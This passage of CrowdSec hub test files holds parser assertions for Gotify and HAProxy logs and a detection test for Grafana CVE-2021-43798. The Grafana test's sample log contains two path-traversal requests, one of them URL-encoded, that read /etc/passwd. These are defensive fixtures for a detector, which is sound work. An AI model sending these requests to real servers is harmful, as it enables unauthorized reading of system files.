results["s01-parse"]["baudneo/gotify-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/gotify-logs"][2].Evt.Meta["log_type"] == "gotify_failed_auth" results["s01-parse"]["baudneo/gotify-logs"][3].Success == false results["s01-parse"]["baudneo/gotify-logs"][4].Success == true results["s01-parse"]["baudneo/gotify-logs"][4].Evt.Parsed["endpoint"] == "/client" results["s01-parse"]["baudneo/gotify-logs"][4].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:51:34 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s01-parse"]["baudneo/gotify-logs"][4].Evt.Parsed["request_time_took"] == "505.317µs" results["s01-parse"]["baudneo/gotify-logs"][4].Evt.Parsed["request_type"] == "POST" results["s01-parse"]["baudneo/gotify-logs"][4].Evt.Parsed["source_ip"] == "10.1.2.3" results["s01-parse"]["baudneo/gotify-logs"][4].Evt.Parsed["time"] == "10:51:34" results["s01-parse"]["baudneo/gotify-logs"][4].Evt.Parsed["day"] == "07" results["s01-parse"]["baudneo/gotify-logs"][4].Evt.Parsed["month"] == "02" results["s01-parse"]["baudneo/gotify-logs"][4].Evt.Parsed["program"] == "gotify" results["s01-parse"]["baudneo/gotify-logs"][4].Evt.Parsed["year"] == "2022" results["s01-parse"]["baudneo/gotify-logs"][4].Evt.Meta["log_type"] == "gotify_failed_auth" results["s01-parse"]["baudneo/gotify-logs"][4].Evt.Meta["source_ip"] == "10.1.2.3" results["s01-parse"]["baudneo/gotify-logs"][4].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s01-parse"]["baudneo/gotify-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/gotify-logs"][5].Success == true results["s01-parse"]["baudneo/gotify-logs"][5].Evt.Parsed["month"] == "02" results["s01-parse"]["baudneo/gotify-logs"][5].Evt.Parsed["request_time_took"] == "505.317µs" results["s01-parse"]["baudneo/gotify-logs"][5].Evt.Parsed["request_type"] == "POST" results["s01-parse"]["baudneo/gotify-logs"][5].Evt.Parsed["time"] == "10:52:13" results["s01-parse"]["baudneo/gotify-logs"][5].Evt.Parsed["endpoint"] == "/client" results["s01-parse"]["baudneo/gotify-logs"][5].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:52:13 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s01-parse"]["baudneo/gotify-logs"][5].Evt.Parsed["program"] == "gotify" results["s01-parse"]["baudneo/gotify-logs"][5].Evt.Parsed["source_ip"] == "10.1.2.3" results["s01-parse"]["baudneo/gotify-logs"][5].Evt.Parsed["year"] == "2022" results["s01-parse"]["baudneo/gotify-logs"][5].Evt.Parsed["day"] == "07" results["s01-parse"]["baudneo/gotify-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/gotify-logs"][5].Evt.Meta["log_type"] == "gotify_failed_auth" results["s01-parse"]["baudneo/gotify-logs"][5].Evt.Meta["source_ip"] == "10.1.2.3" results["s01-parse"]["baudneo/gotify-logs"][5].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s01-parse"]["baudneo/gotify-logs"][6].Success == true results["s01-parse"]["baudneo/gotify-logs"][6].Evt.Parsed["month"] == "02" results["s01-parse"]["baudneo/gotify-logs"][6].Evt.Parsed["program"] == "gotify" results["s01-parse"]["baudneo/gotify-logs"][6].Evt.Parsed["request_type"] == "POST" results["s01-parse"]["baudneo/gotify-logs"][6].Evt.Parsed["source_ip"] == "10.1.2.3" results["s01-parse"]["baudneo/gotify-logs"][6].Evt.Parsed["time"] == "10:53:13" results["s01-parse"]["baudneo/gotify-logs"][6].Evt.Parsed["year"] == "2022" results["s01-parse"]["baudneo/gotify-logs"][6].Evt.Parsed["day"] == "07" results["s01-parse"]["baudneo/gotify-logs"][6].Evt.Parsed["endpoint"] == "/client" results["s01-parse"]["baudneo/gotify-logs"][6].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:53:13 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s01-parse"]["baudneo/gotify-logs"][6].Evt.Parsed["request_time_took"] == "505.317µs" results["s01-parse"]["baudneo/gotify-logs"][6].Evt.Meta["log_type"] == "gotify_failed_auth" results["s01-parse"]["baudneo/gotify-logs"][6].Evt.Meta["source_ip"] == "10.1.2.3" results["s01-parse"]["baudneo/gotify-logs"][6].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s01-parse"]["baudneo/gotify-logs"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/gotify-logs"][7].Success == true results["s01-parse"]["baudneo/gotify-logs"][7].Evt.Parsed["request_time_took"] == "505.317µs" results["s01-parse"]["baudneo/gotify-logs"][7].Evt.Parsed["request_type"] == "POST" results["s01-parse"]["baudneo/gotify-logs"][7].Evt.Parsed["time"] == "10:54:13" results["s01-parse"]["baudneo/gotify-logs"][7].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:54:13 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s01-parse"]["baudneo/gotify-logs"][7].Evt.Parsed["program"] == "gotify" results["s01-parse"]["baudneo/gotify-logs"][7].Evt.Parsed["month"] == "02" results["s01-parse"]["baudneo/gotify-logs"][7].Evt.Parsed["source_ip"] == "10.1.2.3" results["s01-parse"]["baudneo/gotify-logs"][7].Evt.Parsed["year"] == "2022" results["s01-parse"]["baudneo/gotify-logs"][7].Evt.Parsed["day"] == "07" results["s01-parse"]["baudneo/gotify-logs"][7].Evt.Parsed["endpoint"] == "/client" results["s01-parse"]["baudneo/gotify-logs"][7].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s01-parse"]["baudneo/gotify-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/gotify-logs"][7].Evt.Meta["log_type"] == "gotify_failed_auth" results["s01-parse"]["baudneo/gotify-logs"][7].Evt.Meta["source_ip"] == "10.1.2.3" results["s01-parse"]["baudneo/gotify-logs"][8].Success == true results["s01-parse"]["baudneo/gotify-logs"][8].Evt.Parsed["day"] == "07" results["s01-parse"]["baudneo/gotify-logs"][8].Evt.Parsed["year"] == "2022" results["s01-parse"]["baudneo/gotify-logs"][8].Evt.Parsed["endpoint"] == "/client" results["s01-parse"]["baudneo/gotify-logs"][8].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:55:13 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s01-parse"]["baudneo/gotify-logs"][8].Evt.Parsed["month"] == "02" results["s01-parse"]["baudneo/gotify-logs"][8].Evt.Parsed["program"] == "gotify" results["s01-parse"]["baudneo/gotify-logs"][8].Evt.Parsed["request_time_took"] == "505.317µs" results["s01-parse"]["baudneo/gotify-logs"][8].Evt.Parsed["request_type"] == "POST" results["s01-parse"]["baudneo/gotify-logs"][8].Evt.Parsed["source_ip"] == "10.1.2.3" results["s01-parse"]["baudneo/gotify-logs"][8].Evt.Parsed["time"] == "10:55:13" results["s01-parse"]["baudneo/gotify-logs"][8].Evt.Meta["log_type"] == "gotify_failed_auth" results["s01-parse"]["baudneo/gotify-logs"][8].Evt.Meta["source_ip"] == "10.1.2.3" results["s01-parse"]["baudneo/gotify-logs"][8].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s01-parse"]["baudneo/gotify-logs"][8].Evt.Meta["datasource_type"] == "file" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 7 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["day"] == "07" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["endpoint"] == "/client" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request_time_took"] == "505.317µs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request_type"] == "POST" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "10:49:33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:49:33 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "gotify" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "10.1.2.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-02-07T10:49:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "gotify_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "10.1.2.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-02-07T10:49:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["request_time_took"] == "505.317µs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["request_type"] == "POST" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["endpoint"] == "/client" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "gotify" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "10.1.2.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time"] == "10:50:10" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["day"] == "07" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:50:10 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "gotify_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "10.1.2.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-02-07T10:50:10Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-02-07T10:50:10Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:51:34 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "gotify" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["request_time_took"] == "505.317µs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["request_type"] == "POST" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["time"] == "10:51:34" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["day"] == "07" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["endpoint"] == "/client" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "10.1.2.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "gotify_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "10.1.2.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-02-07T10:51:34Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-02-07T10:51:34Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["request_time_took"] == "505.317µs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["request_type"] == "POST" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "10.1.2.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:52:13 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["endpoint"] == "/client" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "gotify" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["time"] == "10:52:13" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["day"] == "07" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2022-02-07T10:52:13Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "gotify_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "10.1.2.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2022-02-07T10:52:13Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "gotify" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["request_type"] == "POST" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_ip"] == "10.1.2.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["time"] == "10:53:13" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["day"] == "07" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:53:13 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["endpoint"] == "/client" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["request_time_took"] == "505.317µs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "10.1.2.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2022-02-07T10:53:13Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "gotify_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2022-02-07T10:53:13Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["source_ip"] == "10.1.2.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["request_time_took"] == "505.317µs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["request_type"] == "POST" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["time"] == "10:54:13" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["day"] == "07" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["endpoint"] == "/client" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:54:13 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "gotify" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "gotify_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "10.1.2.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"] == "2022-02-07T10:54:13Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"] == "2022-02-07T10:54:13Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["request_type"] == "POST" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["time"] == "10:55:13" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["endpoint"] == "/client" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["program"] == "gotify" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["request_time_took"] == "505.317µs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["day"] == "07" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:55:13 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["source_ip"] == "10.1.2.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["log_type"] == "gotify_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["source_ip"] == "10.1.2.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["timestamp"] == "2022-02-07T10:55:13Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Enriched["MarshaledTime"] == "2022-02-07T10:55:13Z" len(results["success"][""]) == 0 hub1/.tests/gotify-logs/scenario.assert000066400000000000000000000000001437532772500204330ustar00rootroot00000000000000hub1/.tests/grafana_cve-2021-43798/000077500000000000000000000000001437532772500164665ustar00rootroot00000000000000hub1/.tests/grafana_cve-2021-43798/config.yaml000066400000000000000000000004151437532772500206170ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/nginx-logs scenarios: - ./scenarios/crowdsecurity/grafana-cve-2021-43798.yaml postoverflows: - "" log_file: grafana_cve-2021-43798.log log_type: nginx labels: {} ignore_parsers: true hub1/.tests/grafana_cve-2021-43798/grafana_cve-2021-43798.log000066400000000000000000000006211437532772500225020ustar00rootroot00000000000000192.168.1.2 - - [08/Dec/2021:17:23:24 +0100] "GET /public/plugins/grafana/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 400 166 "-" "-" 192.168.1.3 - - [08/Dec/2021:17:23:24 +0100] "GET /public/plugins/grafana/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd HTTP/1.1" 400 166 "-" "-"hub1/.tests/grafana_cve-2021-43798/parser.assert000066400000000000000000000000001437532772500211730ustar00rootroot00000000000000hub1/.tests/grafana_cve-2021-43798/scenario.assert000066400000000000000000000047321437532772500215220ustar00rootroot00000000000000len(results) == 2 "192.168.1.3" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.1.3"].IP == "192.168.1.3" results[0].Overflow.Sources["192.168.1.3"].Range == "" results[0].Overflow.Sources["192.168.1.3"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.1.3"].GetValue() == "192.168.1.3" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "grafana_cve-2021-43798.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/public/plugins/grafana/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "400" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "-" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.3" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/grafana-cve-2021-43798" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "192.168.1.2" in results[1].Overflow.GetSources() results[1].Overflow.Sources["192.168.1.2"].IP == "192.168.1.2" results[1].Overflow.Sources["192.168.1.2"].Range == "" results[1].Overflow.Sources["192.168.1.2"].GetScope() == "Ip" results[1].Overflow.Sources["192.168.1.2"].GetValue() == "192.168.1.2" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "grafana_cve-2021-43798.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/public/plugins/grafana/../../../../../../../../../../../../../../../../../../etc/passwd" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "400" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "-" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.2" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/grafana-cve-2021-43798" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/haproxy-logs/000077500000000000000000000000001437532772500156105ustar00rootroot00000000000000hub1/.tests/haproxy-logs/config.yaml000066400000000000000000000002371437532772500177430ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/haproxy-logs scenarios: postoverflows: log_file: haproxy-logs.log log_type: haproxy ignore_parsers: false hub1/.tests/haproxy-logs/haproxy-logs.log000066400000000000000000000004461437532772500207530ustar00rootroot00000000000000117.136.40.129:14853 [14/Jan/2015:12:48:57.127] https-in~ xx_server_https/xxx_node_8002 170/0/0/3/173 200 739 - - --NN 0/0/0/0/0 0/0 "GET /xxx/xxx HTTP/1.1" 22.118.26.10:10285 [12/Mar/2021:06:56:28.088] fe-verify~ maskurl/dns 0/0/0/1263/1264 200 20602 - - ---- 19/19/3/4/0 0/0 "GET / HTTP/1.1" hub1/.tests/haproxy-logs/parser.assert000066400000000000000000000236401437532772500203340ustar00rootroot00000000000000len(results) == 3 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 2 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "haproxy" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "117.136.40.129:14853 [14/Jan/2015:12:48:57.127] https-in~ xx_server_https/xxx_node_8002 170/0/0/3/173 200 739 - - --NN 0/0/0/0/0 0/0 \"GET /xxx/xxx HTTP/1.1\"" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "haproxy-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "22.118.26.10:10285 [12/Mar/2021:06:56:28.088] fe-verify~ maskurl/dns 0/0/0/1263/1264 200 20602 - - ---- 19/19/3/4/0 0/0 \"GET / HTTP/1.1\"" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "haproxy" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "haproxy-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 2 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false len(results["s01-parse"]["crowdsecurity/haproxy-logs"]) == 2 results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Success == true results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["srvconn"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["termination_state"] == "--NN" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["beconn"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["client_port"] == "14853" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["feconn"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["haproxy_milliseconds"] == "7" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["haproxy_minute"] == "48" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["time_duration"] == "173" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["program"] == "haproxy" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["server_name"] == "xxx_node_8002" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["haproxy_hour"] == "12" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["haproxy_second"] == "57.1" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["http_request"] == "/xxx/xxx" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["message"] == "117.136.40.129:14853 [14/Jan/2015:12:48:57.127] https-in~ xx_server_https/xxx_node_8002 170/0/0/3/173 200 739 - - --NN 0/0/0/0/0 0/0 \"GET /xxx/xxx HTTP/1.1\"" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["haproxy_monthday"] == "14" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["actconn"] == "0" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["captured_response_cookie"] == "-" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["haproxy_month"] == "Jan" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["request"] == "/xxx/xxx" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["time_request"] == "170" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["time_backend_response"] == "3" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["bytes_read"] == "739" results["s01-parse"]["crowdsecurity/haproxy-logs"][0].Evt.Parsed["captured_request_cookie"] == 